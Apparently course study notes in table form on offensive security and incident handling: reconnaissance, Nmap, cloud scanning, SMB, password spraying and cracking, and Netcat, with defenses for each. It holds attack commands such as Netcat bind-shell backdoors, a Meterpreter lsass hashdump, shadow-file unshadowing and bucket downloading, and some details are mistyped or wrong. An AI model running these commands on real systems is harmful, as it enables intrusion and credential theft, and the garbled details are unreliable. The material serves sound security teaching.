| SpiderFoot tip 2 | View the SpiderFoot scan results as a chart, a graph, or a list view (shown here). Each module can be selected to look at the individuals results such as domain information, externally hosted resources, third-party affiliate relationships, file metadata, and more. | 2 | 26 |
| Not OSINT Data | Generally, OSINT data is collected from websites and APIs, through third-party collection sources.  Great for attackers since it does not generate logs at the target site.  While abundant, OSINT is not the end of all available target data.  Although some OSING tools cross this line, any activity sent to the target site directly becomes direct reconnaissance. Next, we’ll look at tools that provide additional information at the cost of potential target identification. | 2 | 27 |
| Visual Summary: Open-Source Intelligence |  | 2 | 28 |
| **DNS Interrogation** | nslookup server 81.4.108.41 settype=AXFR ls -d zonetransfer.me tcp/port 53  dig @81.4.108.41 AXFR zonetransfer.me | 2 | 29 |
| DNS Interrogation | 2 tools used to perform DNS interrogation: nslookup and dig.  The domain name system is full of useful information about a target.  The attacker’s goal is to discover as many IP address associated with the target domain as possible.  The nslookup command can be used to interact with a DNS server to get this data.  Included in modern versions of windows.  Included in most UNIX implementations (deprecated in some UNIXes and limited on some Linux variants)  Dig is another useful tool for DNS recon. | 2 | 31 |
| DNS Zone Transfer in Windows | WHOIS finds the authoritative for the domain.  By dumping from your DNS servers, attackers can determine which systems are accessible on the internet.  On Windows, collect DNS records using nslookup | 2 | 32 |
| DNS Zone Transfer in UNIX | on some UNIX variations, nslookup can be used for zone transfers.  Using the same technique used for windows on previous slide.  Other nslookup variations (including the one for recent versions of Linux) do not support zone transfer.  Use dig instead. | 2 | 33 |
| DNS Automated Interrogation | sudo nmap --script dns-brute.  Many DNS servers will not permit the use of DNS zone transfers. However, DNS Automated interrogation can be still useful mechanism for host discovery.  To be effective, Nmap needs a list of hostnames (identified here as namelist.txt). if not specified, Nmap will build a list of 70 hostnames. | 2 | 34 |
| DNS Reconnaissance Defenses | Do not allow zone transfers from just any system   * Limit zone transfers accessibly to DNS servers only. * Secondary and tertiary servers should not accept zone transfers.   Use split DNS   * External name information in external server, internal name information in internal servers.   Inspect DNS server logs for signs of attack.   * Look for zone transfers, failed and successful. * Look for large numbers of requests from a single source (DNS brute) * Use attacking IP address to inform threat intelligence efforts. | 2 | 35 |
| Visual Summary: DNS Interrogation |  | 2 | 36 |
| **Website Reconnaissance** |  | 2 | 38 |
| Website Reconnaissance | Search the target’s own websites:   * Press releases * Technical papers * Design documents * Sample deliverables * Open positions * Key people * Contacts.   Search related sites:   * Business partners, suppliers, subsidiaries. | 2 | 39 |
| Exiftool | Exiftool | 2 | 40 |
| Website Crawl and Wordlist Generation: CeWL | CeWL: Custom Wordlist generator by robin wood.  CeWL crawls a target website and collects all web pages and common documents formats (MS Office, PDF, Images)  Extracts content, metadata, and other strings to one of more files.  Useful to build wordlists from a target site’s content and metadata for later attacks (password attacks, host enumeration, and more). | 2 | 41 |
| Reconnaissance with Search Engines | Google Dorks: Google searches that can reveal vulnerable sites or other useful information to an attacker.  Google Hacking Database: A vast collection of Google Dorks. | 2 | 42 |
| Other Website Information | Public databases  SEC’s Edgar database  Job and professional networking sites (LinkedIn, indeed, monster)  [www.xlek.com](http://www.xlek.com)  whatsmyname.app  other open-source information  newspapers, blogs, and magazines  social networking sites (what expertise, which friends/associates) | 2 | 43 |
| Web-Based Recon/Attack Tools | Many websites offer the ability to research or even attack other sites.  Links to the internet scanning webpages (traceroute, ping, port scans, denial-of-service tests)  www.shodan.io  www.network-tools.com  viewdns.info  [www.securityspace.com](http://www.securityspace.com) | 2 | 44 |
| Shodan | Use Shodan advanced search operators.org, net, and port to find know targets withing your own organization. Negate searches with an exclamation point.  Shodan is an online service that crawls the internet like google, but it indexes service banners. Banners for services like FTP and Telnet will often have a unique signature to identify that service, vendor, and version number. You can negate the search by including an exclamation point before the term. | 2 | 45 |
| Website Reconnaissance Defenses | robots.txt  Limit and control information  Know what information is given away and perform risk analysis.  Limit data indexed by search engines using robots.txt  Be careful not to point attackers to your sensitive data  Look for web spider/crawler activity  Logs show systematic access of entire website, page by page. | 2 | 46 |
| Visual Summary: Website Reconnaissance | Exiftool | 2 | 47 |
| **Network and Host Scanning with Nmap** |  | 2 | 48 |
| Network Mapping with Nmap | An Attacker wants to understand the topology of the target network:  Internet connectivity, perimeter networks.  Internal network (with access from modem or wireless access point)  Can reveal vulnerabilities (or at least disclose the network architecture.  Nmap can be used for network aping and port scanning.  Written by Fyodor and the Nmap development team  Available for Linux and Windows, Zenmap GUI for virtualization. | 2 | 49 |
| Sweeping for Network Mapping | Nmap sends 4 packets to identify UP hosts when run as a privileged user:  ICMP Echo Request  TCP SYN to port 43  TCP ACK to port 80  ICMP Timestamp Request  Sweeping through address space to identify active hosts on the network.  Attacker sends an ICMP echo request to a range of IP addresses.  If something replies, that address is in use by some target system.  If nothing replies, that address is not in use, or there is network filtering.  By default, Nmap sweeps each target address before port scanning it.  This can be ignored altogether (the -Pn flag in Nmap)  Run the Nmap sweep as root for the best results. | 2 | 50 |
| Nmap Host Discovery | * sudo nmap -sn : checks if the host is up   Nmap’s -sn option disables port scanning and focused solely on host discovery. Best run with root privileges. | 2 | 51 |
| Closer Look at the IP Header |  | 2 | 52 |
| How Traditional Traceroute Works | sudo nmap -sn -- traceroute  Traceroute sends packets with small time to live (TTL) values.  IPv4 TTL and IPv6 hop limit is the number of hops the packet should go before being discarded.  If exceeded, the router returns an ICMP TTL-Exceeding message.  Based on the source address of the TTL-exceeded message, you can determine the router for a given hop. | 2 | 53 |
| Traceroute | By adding – traceroute we get network hop requests: adding -oA logs all results to the file prefix insecure-net. | 2 | 54 |
| Zenmap | Once Nmap finishes conducting a network sweep and its tracerouting activities, the Zenmap GUI can provide an interactive graphical portrayal of the network. This output is a cumulative view of recent scans conducted by Nmap, showing each system identified during ping sweeping, along with the series of connections between the systems. | 2 | 55 |
| Port Scanning - Zenmap | Port scanners are a must for any attacker’s toolbox.  They help identify openings on a system and the type of system allowing the attacker to focus an attack.  Most internet applications use TCP or UDP.  TCP: connection oriented (sequence preserved and retransmitted if needed)  UDP: Connection-less (get it there if you can) | 2 | 56 |
| TCP and UDP Ports | TCP and UDP have ports: A field in the TCP and UDP headers.  Total of 65,536 (times 2) ports.  Port 0 is invalid; any packets to port 0 should be dropped.  Port scanners send packets to various ports to determine what is listening.  Find TCP 80, web server  Find TCP 445, windows server message block  Find UDP 53, DNS server | 2 | 57 |
| TCP Three-Way Handshake | Initial SYN establishes sequence number for A to B, usually, B must remember this allocating state in its connection queue.  Response SYN-ACK establishes sequence number for B to A. | 2 | 58 |
| UDP Three-Way Handshake | * Does not use three-way handshake unless it is an application-level functionality. * Does not require connection establishment mechanism. * Up to the protocol using UDP on how to implement synchronizing/acknowledgment functionality. | 2 | 58 |
| Nmap: Scan Types | * Ping sweeps and ARP scans. * TCP connect scans (three-way handshake) * TCP SYN scans (half-open scans) * UDP scanning * Version Scanning | 2 | 59 |
| Nmap: SYN scan | The Nmap version scan information is useful, but at a cost: It is slower than other scan types, and it will generate more network activity, potentially disclosing the attacker’s presence.  Adding -sV tells Nmap to conduct a version scan, gathering information from open ports to interrogate the service and present more detail. | 2 | 60 |
| Nmap NSE Scripts | Identify host information vulnerabilities.  -sC: Use default scripts to evaluate the target.  --script all: Runs all scripts against target (can lead to DoS)  --script-updatedb: update the NSE scripts (requires internet access)  --script banner: Run the named script (banner) against the target(s)  --script-help “http”: Get help for the named script(s) (use wildcard \* alone for all scripts)  --script “http\*”: Run all the scripts beginning with http against the target(s)  --script “smb”: Run all the scripts beginning with smb against the target(s). | 2 | 61 |
| Visual Summary: Nmap |  | 2 | 63 |
| **Cloud Spotlight: Cloud Scanning** |  | 2 | 65 |
| Cloud Spotlight: Cloud Scanning | Enumerating cloud targets introduces new challenges, such as impractical to scan large range of Ips and difficult to identify owner of a given target.  Cloud target enumeration also has new attacker opportunities.  Less likely to be monitored and logged.  Potential to bypass ACL filters.  May reveal information about non-cloud assets.  Cloud target enumeration should always be done using the same cloud provider. This improves performance and can often evade firewalls that permit access sourced within the cloud infrastructure. | 2 | 66 |
| JQ and JSON Data | If you work with cloud systems, you’ll have to work with JSON.  JSON is an ascii-based format widely used by cloud providers. You can user grep/cut/awk sed to process JSON, but is not ideals.  Straigtht forward use case: format JSON for easier reading.  Advanced use case: Formant JSON for easier reading.  Advanced use case: perform functions on selected data in JSON. | 2 | 67 |
| Cloud Scanning Process | Using reconnaissance, attacker udentifies likely cloud provider.  DNS information, linked resources in website pages, etc.  Builtwith.com summarizes service providers for a given site.  Attacker identifies IP range for provider, performs full scan.  Leverages scan results to identift other systems for target discovery. | 2 | 68 |
| Exhaustive IP Address Enumeration |  | 2 | 69 |
| Scanning Large Ranges: Masscan | Nmap is not ideal for scanning millions of IP addresses.  Masscan separates the SYN send from the ACK receive code.  Sender can fire-and-forget.  Receiver identidies open/closed from response.  By decoupling the 2 halves of the three-way shandshake, speed is greatly improves. | 2 | 70 |
| Masscan Scan of AWS us-east-1 |  | 2 | 71 |
| Attributing Hosts | With a list of TLS servers, attribution is performed using certificate details.  Masscan reveals a list of IP addresses listening to TCP/443.  We can connect to the service and retrieve the certificate details. Reveals the certificate common name (CN) attribute, often identifying a target organization’s domain name. | 2 | 72 |
| TLS-Scan | Scans a lists of TLS servers and collects certificate, cipher details.  Fast, non-blocking, performant scanner.  Saves results in JSON format. | 2 | 73 |
| Interpreting TLS-Scan Results | Saves the scan results into a JSON-formatted file. We can user the JQ utility to extract the desired information from the scan, even formatting it in a CSV file for use with other tools. | 2 | 74 |
| Other Scanners: EyeWitness | Sometimes the results of a scan can be overwhelming. Eyewitness makes it easy to grab a screenshot of web, VNC, and RDP services. Scan the results visually to look for interesting targets.  Can be very effective to sort through hundreds of different webistes.  Attackers and testers look for default pages, out-of-date servers, RDP servers that show domains, indexed web directories, etc.  Many vulnerabilities do not necessarily need an exploit.  Finding in backup files and install scripts on web servers can lead to easy access to external systems. | 2 | 75 76 |
| Cloud Scanning Defense | Most targets will not log half-open SYN scan(Nmap, Masscan)  Many web servers will not log TLS-Scan access (since it lacks an HTTP request)  As defenders we’re interested in what happens after scanning.  Web server logs reveal site crawling.  Malformed requests or paramenters sent toserver-side code.  In many cases, cloudvsystems do not need to be accessible by the entire intenet. Limit access to WAFs, API consumers, and other required servers. Ask who needs to connect to this server and apply firewall rules to restrict access. | 2 | 77 |
| Visual Summary: Cloud Scanning |  | 2 | 79 |
| SMB Security | SMB is an application layer that implements file and printer sharing, authentication, remote admin, and other features.  Why is SMB such a problem for modern networks?  Configuration is often done by end-users (creating shares, choosing files to place on shares, defining security for file access controls)  It is complex and has lots of legacy functionality to support.  Lots of non-Windows devices use SMB with minimal implementations that don’t support modern security features (printers, EKG machines)  SMB is heavily used by attackers, often appearing as “normal” TCP/445 traffic, IT is an essential protocol to understand for defenders. | 2 | 82 |
| SMB Security Features | Many organizations continue to use old versions of SMB unnecessarily. This creates an opportunity for attackers to eavesdrop on SMB activity to attack credentials, and to exploit vulnerable SMB implementations. | 2 | 83 |
| SMB Shares | Get-WmiObject (WMI)  net.exe (Windows a non-Windows)  an SMB share is a resource where files can be read or written to or from an SMB server. SMB shares are often provisioned by an administrator as a collection of files for a specific department (accountingfiles) or a specific activity (timesheets) or even generic terms to give users the flexibility to decide how they want to store or access files(companydata). | 2 | 84 |
| Searching for SMB Shares: SMBeagle | SMBeagle identifies SMB servers and shares, then enumerates files, but doesn’t help you assess data disclosed in the files. | 2 | 85 |
| SMB Share Data Harvesting, Search | Copernic Desktop search indexes file name and content for local files or SMB shares. After building the index, you can quickly search for sensitive strings. Useful for defenders to audit server file shares. | 2 | 86 |
| SMB Access: The Linux Way | smbclient | 2 | 87 |
| Using Samba's rpcclient from Linux for More Info | Rpcclient  Originally created as a troubleshooting and debugging tool for the Samba suite, rpcclient is very flexible and includes hundreds of features.  Enumdousers: List users.  Enumalsgroup domain|builtin: List groups (enum alias group)  Isaenumsid: show all users SIDs defined on the box  Loopupnames name: Show SID associated with user or group name.  Lookupsids sid: Show username associated with SID  Srvingo: Shows OS type and version. | 2 | 88 |
| SMB Exploits | SMB is a complex protocol that has been around for a long time.  Organizations mitigate SMB flaws with regular patching  Many organizations have SMB servers that don’t get patched regularly.  Attackers exploit these systems first, then pivot to other targets. | 2 | 89 |
| SMB Password Attacks | Even without a specific, unpatched SMB vulnerability, attackers can exploit SMB to gain unauthorized access to files or even the ability to run commands on remote system. Windows SMB implementations do not implement a back-off delay for password guessing making it possible for an attacker to quickly guess passwords until they find a valid username and password. | 2 | 90 |
| Identifying and Dropping SMB Sessions | Get-SmbSession Net use  Shows inbound SMB connections. | 2 | 91 |
| SMB PowerShell commands |  | 2 | 92 |
| Preparation: Defenses Against Evil SMB Sessions | Block access to TCP/445,135,137,139 UDP/445,137,138  Alternative: explicitly permit these ports only from systems or networks that require SMB access to a specified destination such as file servers and domain controllers.  Private VLANs are useful to limit inter-workstations access.  Check for access to the ports listed above in logs. | 2 | 93 |
| Visual Summary: SMB Attacks |  | 2 | 94 |
| Defense Spotlight: DeepBlueCLI | Is a PowerShell script that parses windows event logs, searches for unusual behavior or characteristics. Generates straightforward output characterizing the EOI. | 2 | 98 |
| DeepBlueCLI Capabilities | Can detect multiple attacks.  Several Metasploit exploits, Mimikatz, PowerShell Empire, password guessing, password spray, and more.  Won’t detect each tool every time, but will detect many attacks.  Use on a local system, over the windows domain network, or offline log files. | 2 | 99 |
| DeepBlueCLI Metasploit Attack Detection | See book for results of PowerShell command. | 2 | 101 |
| DeepBlueCLI Non-Malicious Event | DeepBlueCLI will also alert on potentially non-malicious activity. It is up to you as the analyst to interpret the DeepBlueCLI analysis based on your system knowledge. | 2 | 102 |
| DeepBlueCLI Output Formatting |  | 2 | 103 |
| DeepBlueCLI Conclusion | DeepBlueCLI is a useful tool for quickly assessing Windows event logs.  Read from local files on the file system.  Read from local even logs by log name.  Read from remote event logs in a windows domain.  DeepBlueCLI does not provide perfect analysis, but it does catch many different attacks common to know attack TTPs.  You as the analyst must judge the output with other known criteria to evaluate DeepBlueCLI output. | 2 | 104 |
| Visual Summary: DeepBlueCLI |  | 2 | 105 |
| Password Guessing Attacks | Password guessing across the network:   * Identify a valid user ID * Create list of possible passwords. * Try typing in each password. * If system allows you in, success * If not, try again.   Use a script our automated tool to improve speed and accuracy.   * Maximum speed typically between one guess every 3 seconds and at most 5 guesses per second. * Much slower than password cracking attacks.   Could trigger account lockout. | 3 | 4 |
| Brute Force |  | 3 | 4  5 |
| Password Guessing Alternative: Password Spraying | To avoid account lockout, attackers will perform a password spray attack.   * Try a small number of passwords against a large number of accounts. * Try 4 passwords for Account A, then the same four for account B, and so on for a thousand or more accounts.   Then if no centralized authentication mechanism is employed, more from system 1 to system 2 until bad login counter expiration timer resets. | 3 | 5 |
| Password Guess Selection | * To avoid account lockout, password guess and spray attacks use very short password lists. * Choose common words, such as city names, company names, product names, and local sports teams. * Choose names based on password reset intervals like every 90 days, reset? Try summer 2023 or fall 2023. * Alternative: Use known passwords for people in the organization from password compromise lists. | 3 | 7 |
| Credential Stuffing | Username and passwords from compromised websites surface on trading sites.  Since users reuse passwords, attackers will check for cracked passwords from other websites.  Variations of a disclosed password, and username cross-referencing can improve attacker success rate.  Access to these password lists are controversial: stolen property. | 3 | 8 |
| Visual Summary: Password Attacks |  | 3 | 10 |
| Microsoft 365 Password Attacks | * Cloud SaaS logins are almost universally public access, and this is an opportunity for an attacker. * Two important concepts to keep in mind: * Attackers will use cloud services against your organization. * Attackers can be very crafty in how they implement attacks. | 3 | 13 |
| Microsoft 365 Authentication API | Login.microsoft.com is an API endpoint for authentication.  Used by many Microsoft 365 services, and it returns detail error status codes following logging attempts. | 3 | 14 |
| AADSTS | Azure active Directory Security Token Service. When the user submits authentication credentials, the AADSTS services returns a detailed response that includes an AADSTS response code. | 3 | 14 |
| MSOLSpray | Microsoft 365 gives attackers the insight they need to target vulnerable accounts. By leveraging the AADSTS response codes to implement an informed password spray attack.  invoke-MSOLSpray | 3 | 15 |
| Azure Smart Lockout | * On-by-default for Microsoft 365 authentication. * Account lockout following multiple login failures for one account. * Blocks IP address source following 10 unsuccessful login attempts (3 for Azure US.gov). Default lockout duration is 60 seconds, non-blocked Ips can still login to prevent DoS. * Smart lockout helps lock out bad actors that try to guess your user’s passwords or use brute-force methods to get in. | 3 | 16 |
| AWS API Gateway | Is a service from Amazon that allows organization to establish an API gateway server as the front-end to one or more HTTP servers, often in the form of micro services. It is a Kind of proxy server, that abstract one of more HTTP microservices with a single hostname. | 3 | 17 |
| FireProx and MSOLSpray | FireProx is a python tool. Straightforward front-end to creating, listing, and deleting AWS API Gateway instances using AWS API credentials. It also integrates with MSOLSpray.  Invoke-MFASweep | 3 | 18 |
| MFA Bypass and Microsoft 365 | * Microsoft 365 MFA security default policy applies to all tenant users. * Conditional Access policies complicate MFA use to suit business needs. * Attackers will use valid credentials to fin non-MFA access opportunities. | 3 | 19 |
| Microsoft Conditional Access (CA) | Allows an organization to choose the specific conditions when MFA is required, often creating exceptions. It can be used to augment the strong MFA security policies while meeting the needs of a business, but it can also be used to overly permit access to Microsoft 365 services without the additional burden of MFA | 3 | 19 |
| Microsoft 365 Incident Response: Identification | * Unified audit logging data to identify suspicious data access, authentication patterns. * Unauthorized account license downgrades (E5 to P1) * Changed MFA settings (CA to permit IP list) * Disabled audit settings on mailboxes. * Mailbox permission changes. * Account license downgrade: Get-MsoUser | 3 | 20 |
| Visual Summary: Microsoft 365 Password Attacks |  | 3 | 21 |
| Understanding Password Hashes | Several options for password hashes.   * Windows: LANMAN, NT. * Linux/UNIX: DES, #DES, MD%, Blowfish, SHA 256, SHA512. * CPU and memory intensive: PBKDF2, Scrypt, Yescrypt, Argon2 * Many custom protocols and older algorithms as well | 3 | 24 |
| Windows LANMAN Hashes | Legacy password hashing mechanism. Still in use in older or upgraded windows systems.  brute force attack with accelerated hardware. Alpha numeric char:15 seconds. Alpha-numeric-all symbols: 10 minutes. | 3 | 25 |
| NT Hashes | Modern Windows systems use NT hashes because they preserve case sensitivity, convers to Unicode, then MD$ hashed. And encrypt using RC4 or AES-CBC-128 in SAM.  Not to be confused with NTLMv1 and NTLMv2 since it is an authentication protocol, not a hash function. | 3 | 26 |
| Password Hashes without Salt |  | 3 | 27 |
| Password Salting | * Adding a salt to the password adds randomness to the password hashes. * The salt is a randomly selected string, but it is not a secret. * The user isn’t concerned with the salt; the OS adds it automatically when calculating the password hash. | 3 | 28 |
| Obtaining Windows Domain Controller Hashes | Obtain NTDS.dit and SYSTEM registry hive data.  Built-in ntdsutil.exe allows an attacker to backup AD. | 3 | 29 |
| ntdutil | Is used for backing up the active directory information. | 3 | 29 |
| secretsdump.py | Impacket’s script to extract NTDS.di and SYSTEM registry data. | 3 | 30 |
| Obtaining Windows 10 Password Hashes | Reads password hashes from memory. Migrate to lsass.exe, then dump hashes. Ps -S lsass.exe migrate 620 hashdump | 3 | 31 |
| Recognizing Windows Hashes | LANMAN: aad3b435b51404 NTHASH: 31d6cfe0d16ae93 | 3 | 32 |
| UNIX and Linux Passwords | * Early UNIX and Linux systems store password hashes with DES encryption (often without a salt). Usernames and passwords hashes stored in /etc/passwd file. * Later, MD5 password hashes were used, followed by blowfish SHA-256, and SHA-512 (all using salt values; 4-byte, then 8-byte) * Usernames and other information in /etc/passwd (world readable) * Password in hashes in /etc/shadow. | 3 | 33 |
| Decoding UNIX/Linux Password Hashes |  | 3 | 34 |
| Hashing Rounds | Using multiple rounds of hashing makes the hash calculation slow. For a normal user, this may be a 1 second delay in logging in. for an attacker iterating through a word list, this slows down the attack significantly.  MD5: 1000 rounds – SHA256 - 512: 5000 rounds. | 3 | 35 |
| Password Hashing Rounds | * Single-iteration password hashing is considered insecure. * Linux MD5 hashing ($1) uses 1000 rounds. * Linux SHA-256 ($5) and SHA-512 ($6) hashing uses 5000 rounds. * This makes password cracking considerably slower for attackers, attackers counter with offloading onto GPUs. | 3 | 36 |
| Mitigating GPU-Based Password Cracking | * Password Based Key Derivation Function 2 (PBKDF2) uses a flexible number of rounds (2 hashes per round). Widely used and recommended by NIST, may not mitigate GPU acceleration. * Scrypt requires 1000x as much memory, which is hard for GPUs to accommodate in parallel. * Argo2, Yescrypt modern alternatives with advances features. | 3 | 37 |
| Visual Summary: Understanding Password Hashes |  | 3 | 38 |
| Password Cracking | Fundamental technique for attackers:   * Exploit a system of low-to-medium importance. * Dump all available password hashes. * Crack password hashes for as long as necessary. * Reuse recovered passwords to access high-importance targets. | 3 | 41 |
| John the Ripper | * Supported on Windows, Linux and macOS. * To run John, supply it with a password hash file: * Merge /etc/passwd/ and /etc/shadow files together to unshadow. * For windows passwords, give john the text-based output from Meterpreter, Mimikatz or Impacket.   sudo unshadow /etc/passwd /etc/shadow > combined  john combined | 3 | 42 |
| John's Cracking Modes | * Single Crack mode: --single * Wordlist Mode: --wordlist *filename* * Incremental mode: --incremental * External Mode : --external | 3 | 43 |
| John's Input and Output | * John supports (and autodetects) many password hash formats, all the UNIX and Linux variants. * Many more has formats are also supported. * Must specify --format=NT for hashdump from windows targets (default to LANMAN)] Cracked password printed to the screen and stored in the file.   cracked passwords stored in john.pot | 3 | 44 |
| John Sample Session | John is straightforward and quick, but not ideal for long password cracking jobs. | 3 | 45 |
| Hashcat Hash and Cracking Support | * Hashcat can crack a wide variety of different password hashes, specified with -m such as Office file password, Database hashing functions, OS hashes. * Uses GPUs to tremendously accelerate password cracking performance. * Supports multiple modes of attack for flexible password cracking. * Includes support for a robust rules engine for password mutation attacks. | 3 | 46 |
| Hashcat Attack Modes | * Straight: use a dictionary wordlist, trying each word as a potential password. -a 0 * Combinator: use a dictionary wordlist, append each word to every other word as a potential password (specify 2 dictionaries or the same file twice) -a 1. * Brute-force (mask attack): specify a pattern of passwords and Hashcat tries each, complex syntax but very powerful. -a 3. * Hybrid wordlist + Mask: Combines wordlist and mast attack (append mask to each word in wordlist) -a 6. * Hybrid Mask + wordlist: Same as mode 6, prepend mask to each word in wordlist. -a 7.   Mass attack mode = Brute-force | 3 | 47 |
| Hashcat Attack Modes - By Example | Understanding hashcat attack modes is the difference between fumbling a round and really understanding what attackers can do with this tool.  Combinator mode (-a 1) uses 2 wordlists | 3 | 48 |
| Hashcat Straight attack mode | (-a 0) is a the easiest to use, testing each word in the dictionary against the hash. If the user’s password is in the dictionary file, the attacker will recover it quickly. | 3 | 49 |
|  | (-a 1) uses 2 wordlists, combining the words of the 1st with all the words of the 2nd. This is typically used with one large and one small wordlist. |  |  |
| Hashcat Mask Attack | * In a mask attack, you specify a pattern that you want to use for guessing passwords, typically combines with reconnaissance to identify company password policy. * Each mask designation consists of multiple marker characters, each mask is for a given length, can specify multiple masks together. | 3 | 51 |
| Hashcat Mask Attack example |  | 3 | 52 |
| Hashcat Hybrid Wordlist + Mask Attack – Example | On the example, tries all passwords in the wordlist, adding the mask characters to the end of each word. This is tremendously effective against large numbers of user accounts. | 3 | 53 |
| Hashcat Hybrid Mask + Wordlist attack | It tries all passwords in the wordlist, prepending the mask characters to the beginning of each word. This feature is less commonly applied through still useful. | 3 | 54 |
| Hashcat Rules | * In addition to flexible attack modes, Hashcat comes with password permutation rules. * Rules files mutate a wordlist with variations. * Toggle the case of each letter in the word. * Replace e’s with 3’s, a’s with 4’s (l33t speak). * Reverse words, capitalize the first letter, append a number, append a special character, etc. * Look at the Hashcat rules directory for examples. | 3 | 55 |
| Preparation: Disable LANMAN Authentication |  | 3 | 56 |
| Preparation: Password Complexity Tools | * Windows includes rudimentary password complexity enforcement: * Can be enforces with group policy if you have Active Directory * Password length is one of the most valuable tools to force passphrase use when selecting passwords. * Consider 20-character passphrases if possible. * UNIX systems can use Pluggable authentication Modules (PAM), use an external directory or local password length/complexity policies. * Avoid reset every 90 days policies as it makes it harder for users to remember passwords and leads to poor password selection or sticky-note reminders. | 3 | 57 |
| Deploy Multi-factor Authentication | * Multi-factor authentication is the best defense against password cracking (and guessing/spray) attacks. * Make MFA a requirement for any new system introduced into your organization (on-premises or cloud) * Leverage FIDO2-compliant standards for interoperability across platforms, public key cryptology with user-specific access restrictions. Supports multiple hardware devices for MFA. | 3 | 58 |
| Visual Summary: Password Cracking |  | 3 | 59 |
| Cloud Spotlight: Insecure Storage | * Fundamental could storage mechanism for modern applications, amazon S3 Buckets, Google Cloud Buckets, Azure Blobs. * Early could storage systems default to public access unless locked down otherwise. Led to a lot fo early S3 data compromise. * Many enterprises still create cloud storage with public access, possibly intended only for public content distribution, later, users add sensitive information that can expose the organization. | 3 | 63 |
| AWS bucket: creation |  | 3 | 64 |
| Cloud Storage Access | * Cloud storage providers provide universal HTTP access to data, easy to access and for application integration. * Endpoint URLs are consistent for each major cloud provider.   https://s3.amazonaws.com/BUCKETNAME  https://www.googleapis.com/storage/v1/b/BUCKETNAME <https://ACCOUNTNAME.blob.core.windows.net/CONTAINERNAME>  An Attacker that wants to enumerate storage need only visit the desired URL, guessing the name value(s). | 3 | 65 |
| Storage Scanning: AWS S3  Bucket finder | * Takes a wordlist of names and identifies if the bucket exists, and if it is accessible. Optionally download all resources using –*dowload.*   cat words  bucket\_finder.rb words --download | 3 | 66 |
| Storage Scanning: Google Cloud Bucket | * Identifies and enumerates permissions on Google cloud buckets. * Uses a permutation wordlist to create common variation on a single bucket name or searches all bucket names in a supplied file. * Does not download files; use gsutil.   gcpbucketbrute.py -u -k falsimentis gsutil ls gs:/falsimentis-dev | 3 | 67 |
| Azure Scanning: Basic Blob Finder | * Accepts a list of accountname:containername strings, identifies public Azure storage instances. * Non-delimited strings are used as both the account and container name.   cat namelist  basicblobfinder.py namelist | 3 | 68 |
| What's the Big Deal? A Walkthrough | *Listable: enumerate and download Writable: upload* | 3 | 69 |
| Bucket Discovery: Creative Name Selection | * Bucket discovery is about creativity in selecting names. * Using the default wordlist for buckets is OK, but others have likely already scanned those names. * Apply creativity and thing how administrations might name buckets. * Think about scanning the name Falsimentis corporation. | 3 | 72 |
| Scanning Your Own Organization | * Use the same attack took to identify vulnerabilities that could expose your organization. * There is not identify verification for bucket names, so others may create buckets purporting to be your company name. * So-called bucket squatting can be used for phishing attacks. * Attributing bucket ownership can be difficult – whose files are these? * Assessing risk of open buckets can also be difficult – is there sensitive information disclosure in any of these 100k files? | 3 | 73 |
| DNS Logs, HTTP Proxy, Network Logs | * DNS, HTTP proxy, and network logs are a valuable tool for identifying cloud storage use in your organization. * Dns names: identifies Azure blob use, some S3 buckets (bucket.s3amazonaws.com but not s3.amazonaws.com/bucket) * HTTP proxy logs: Identifies all cloud storage providers. * Network logs: SNI disclosure. | 3 | 74 |
| The Need for Cloud Storage Logging | Configure all cloud storage to log access request. This is not turned on by default, and few organizations have any insight into who access cloud storage repositories. | 3 | 75 |
| Visual Summary: Cloud Storage |  | 3 | 76 |
| Netcat | * Simply reads and writes data across network. * Focus on moving raw data between pots on systems. * There are many daces of netcat (different versions): * Traditional Netcat, written fo UNIX in 1996. * Rewritten for Win32 in 1998 * GNU Netcat, function equivalent * NCAT, a variation created for the Nmap project | 3 | 79 |
| Netcat Client Mode | * Client mode starts a connection to a specific port. * Standard input is sent across network, keyboard, redirected from a file or piped from an application. * All data back from the network is put on standard output. * Messages from the tool itself are sent to the standard error. This is nice because they won’t be put in stdout and won’t corrupt anything you want to capture.   Standard Error (stderr) | 3 | 80 |
| Netcat Listen Mode | * Listen mode waits for connection on a specific port. * All data received from the network is put on standard output. Screen, redirected to a file or sent to an application. * Standard input is sent across network. * Messages from the tool itself are sent to standard error (stderr) * Mirror image of the previous page’s picture; the only difference is clients start connections, or listeners wait for them to arrive. | 3 | 81 |
| Some Netcat Uses | * Data transfer * Port scanning * Making connections to open ports * Backdoors. * Relays | 3 | 82 |
| Netcat: Data Transfer | * Send files between systems. * Option 1) to mode a file from listener back to client: * Listener: nc -l -p port < filename * Client: nc listenerIP port > filename * Option 2) To push a file from client to listener * Listener: nc -l -p port > filename * Client: nc listenerIP port < filename * You can even use some browsers as the client for option 1 * Works with TCP or UDP * You can even set up source IP address on listener so that it only accepts connections from one source address. | 3 | 83 |
| Netcat: Port Scanning | * TCP and UDP port scanning * Linear scans (default) or random scans (with the -r option) * -z option for minimal data to be sent. * -v tell us when a connection is made (crucial info for a port scanner) * -w3 means wait no more than 3 seconds on each port. * Can scan from any source port and source routing supported. * We can go further, connecting to various ports, entering data, and recording the response. | 3 | 84 |
| Netcat: Backdoors | The attacker must be able to run Netcat on the victim to create a shell listener.  Windows: nc -l -p port -e cmd.exe  Linux: nc -l -p port -e /bin/sh | 3 | 85 |
| Netcat: Persistent Backdoor Listeners | * With the -l flag, Netcat listens once. * When a connection is dropped, Netcat stops listening. * On windows, Netcat restarts listening when invoked with -L * On Linux/UNIX, Netcat can be made persistent in several ways, like schedule a cron job to start Netcat regularly, use a version of Netcat that support -L, use a while look in a script launched with *nohup* (ignores logout signal). | 3 | 86 |
| Netcat: Relays | * Use Netcat to relay information from system to system to system. * bypass a firewall control by redirecting through a host. * Make it harder to trace the origin of an attack. * The attacker circumvents the firewall by using the victim as a pivot point with Netcat. Requires a name pipe on the pivot system. | 3 | 87 |
| Make a Netcat Relay on Linux |  | 3 | 88 |
| Netcat: Defense | * Defense against Netcat depends on the mode in which it is used. * To summarize, preparation step involves: * Data transfer: know what is running on your systems. * Port scanner: close all unused ports * Connecting to open ports: close all unused ports. * Backdoors: Know what is running on your systems. * Relays: carefully architect your network with layered security so an attacker cannot relay around your critical filtering capabilities (internal network firewalls, private VLANs, network isolation design. | 3 | 89 |
| Netcat: Closing |  | 3 | 90 |
| Visual Summary: Netcat |  | 3 | 91 |
